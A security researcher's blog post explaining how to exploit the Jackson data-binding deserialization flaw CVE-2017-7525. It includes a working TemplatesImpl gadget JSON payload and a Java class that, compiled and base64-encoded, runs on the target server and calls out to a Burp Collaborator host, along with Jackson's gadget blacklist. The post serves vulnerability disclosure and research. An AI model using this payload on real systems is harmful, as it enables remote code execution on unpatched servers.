Adam Caudill

Security Leader, Researcher, Developer, Writer, & Photographer

Exploiting the Jackson RCE: CVE-2017-7525

Earlier this year, a vulnerability was discovered in the Jackson data-binding library, a library for Java that allows developers to easily serialize Java objects to JSON and vice versa, that allowed an attacker to exploit deserialization to achieve Remote Code Execution on the server. This vulnerability didn’t seem to get much attention, and even less documentation. Given that this is an easily exploited Remote Code Execution vulnerability with little documentation, I’m sharing my notes on it.

What To Look For #

There are a couple of ways to use Jackson, the simplest, and likely most common, is to perform a binding to a single object, pulling the values from the JSON and setting the properties on the associated Java object. This is simple, straightforward, and likely not exploitable. Here’s a sample of what that type of document looks like:

{
  "name" : "Bob", "age" : 13,
  "other" : {
      "type" : "student"
  }
}

What we are interested in, is a bit different – in some cases1 you are create arbitrary objects, and you will see their class name in the JSON document. If you see this, it should raise an immediate red flag. Here’s a sample of what these look like:

{
  "@class":"MyApp.Obj",
  val:[
    "java.lang.Long",
    1
  ]
}

To determine if this really is Jackson that you are seeing, one technique is (if detailed error messages are available) to provide invalid input and look for references to either of these:

  • com.fasterxml.jackson.databind
  • org.codehaus.jackson.map

Building An Exploit #

The ability to create arbitrary objects though, does come with some limitations: the most important of which is that Jackson requires a default constructor (no arguments), so some things that seem like obvious choices (i.e. java.lang.ProcessBuilder) aren’t an option. There are some suggestions on techniques in the paper from Moritz Bechler, though the technique pushed in the paper is interesting (the focus is on loading remote objects from another server), it didn’t meet my needs. There are other, simple options available.

Helpfully, the project gave us a starting point to build an effective exploit in one of their unit tests:

{'id': 124,
  'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  {
    'transletBytecodes' : [ 'AAIAZQ==' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
  }
  ]
}

This code leverages a well-known ‘gadget’ to create an object that will accept a compile Java object (via transletBytecodes) and execute it as soon as outputProperties is accessed. This creates a very simple, straightforward technique to exploit this vulnerability.

We can supply a payload to this to prove that we have execution, and we are done.

Building The Payload #

In this case, the goal is to prove that we have execution, and the route I went is to have the server issue a GET request to Burp Collaborator. This can be done easily with the following sample code:

import java.io.*;
import java.net.*;

public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  public Exploit() throws Exception {
    StringBuilder result = new StringBuilder();
    URL url = new URL("http://[your-url].burpcollaborator.net");
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    String line;
    while ((line = rd.readLine()) != null) {
      result.append(line);
    }
    rd.close();
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler)  {
  }
}

This code can be compiled with the javac compiler, and then the resulting .class file should be Base64 encoded, and provided to the transletBytecodes field in the JSON document. As soon as the document is processed, it will create the object, load the code, and execute it. You may still see errors from code failing after the code executes, such as from type-mismatches or the like.

Limiting Attack Surface #

This is just one technique to exploit this flaw, there are many others available. To mitigate the issue, at least in part, Jackson has been modified with a blacklist of types known to be useful gadgets for this type of attack:

  • org.apache.commons.collections.functors.InvokerTransformer
  • org.apache.commons.collections.functors.InstantiateTransformer
  • org.apache.commons.collections4.functors.InvokerTransformer
  • org.apache.commons.collections4.functors.InstantiateTransformer
  • org.codehaus.groovy.runtime.ConvertedClosure
  • org.codehaus.groovy.runtime.MethodClosure
  • org.springframework.beans.factory.ObjectFactory
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • org.apache.xalan.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • java.util.logging.FileHandler
  • java.rmi.server.UnicastRemoteObject
  • org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
  • org.springframework.beans.factory.config.PropertyPathFactoryBean
  • com.mchange.v2.c3p0.JndiRefForwardingDataSource
  • com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

There are likely others that can be used in similar ways to gain code execution that haven’t become well-known yet, so this doesn’t eliminate the problem, it just makes it less likely.

Required Reading & References #

To fully understand this vulnerability, there are a few things that you should read:

  • To exploit this issue, the user of the library must have enabled Default Typing (mapper.enableDefaultTyping), if this hasn't been done, then the exploit here doesn't work, as you aren't able to create arbitrary objects. 
  • Adam Caudill


    Related Posts

    • PL/SQL Developer: HTTP to Command Execution

      While looking into PL/SQL Developer – a very popular tool for working with Oracle databases, to see how it encrypts passwords I noticed something interesting. When testing Windows applications, I make it a habit to have Fiddler running, to see if there is any interesting traffic – and in this case, there certainly was. PL/SQL Developer has an update mechanism which retrieves a file containing information about available updates to PL/SQL Developer and other components; this file is retrieved via HTTP, meaning that an attacker in a privileged network position could modify this file.

    • PL/SQL Developer: Nonexistent Encryption

      (See here for another issue discovered during this research; Updates over HTTP & Command Execution.) PL/SQL Developer by Allround Automations has an option to store the user’s logon history with passwords – the passwords are encrypted with a proprietary algorithm. At this point, you should know how this is going to go. For those that don’t know, PL/SQL Developer is a tool for developers and database administrators to access Oracle – an essential tool in many enterprise environments.

    • Dovestones Software AD Self Password Reset (CVE-2015-8267)

      Software AD Self Password Reset v3.0 by Dovestones Software contains a critical vulnerability in the password change functionality, that allows unauthenticated users to change the password of arbitrary accounts. The vendor has been working with customers to upgrade them to a fixed version. The /Reset/ChangePass function doesn’t validate that the validation questions have been answered, or validate that the account in question is enrolled. This allows an attacker to reset any account that the service account is able to reset, even if they aren’t enrolled.

    • phpMyID: Fixing Abandoned OSS Software

      phpMyID is a simple solution for those that want to run their own OpenID endpoint – the problem is that its author stopped maintaining the project in 2008. Despite this, there’s still quite a few people that use it, because it’s the easiest single-user OpenID option available. Unfortunately, the author didn’t follow best practices when building the software, and as a result multiple security flaws were introduced. In 2008, a XSS was identified and never fixed (CVE-2008-4730), in the years since then it seems the software has been below the radar.

    • VICIDIAL: Multiple Vulnerabilities

      Update: The VICIDIAL team has publicly released a new version that, according to them, has corrected the issues I’ve pointed out here. Please make sure you are using the latest version available. If you aren’t sure if your instance is safe, contact your friendly local penetration tester to verify it’s secure as you expect it to be. Update: The SQL Injection vulnerability has been assigned CVE-2013-4467, and Command Injection assigned CVE-2013-4468.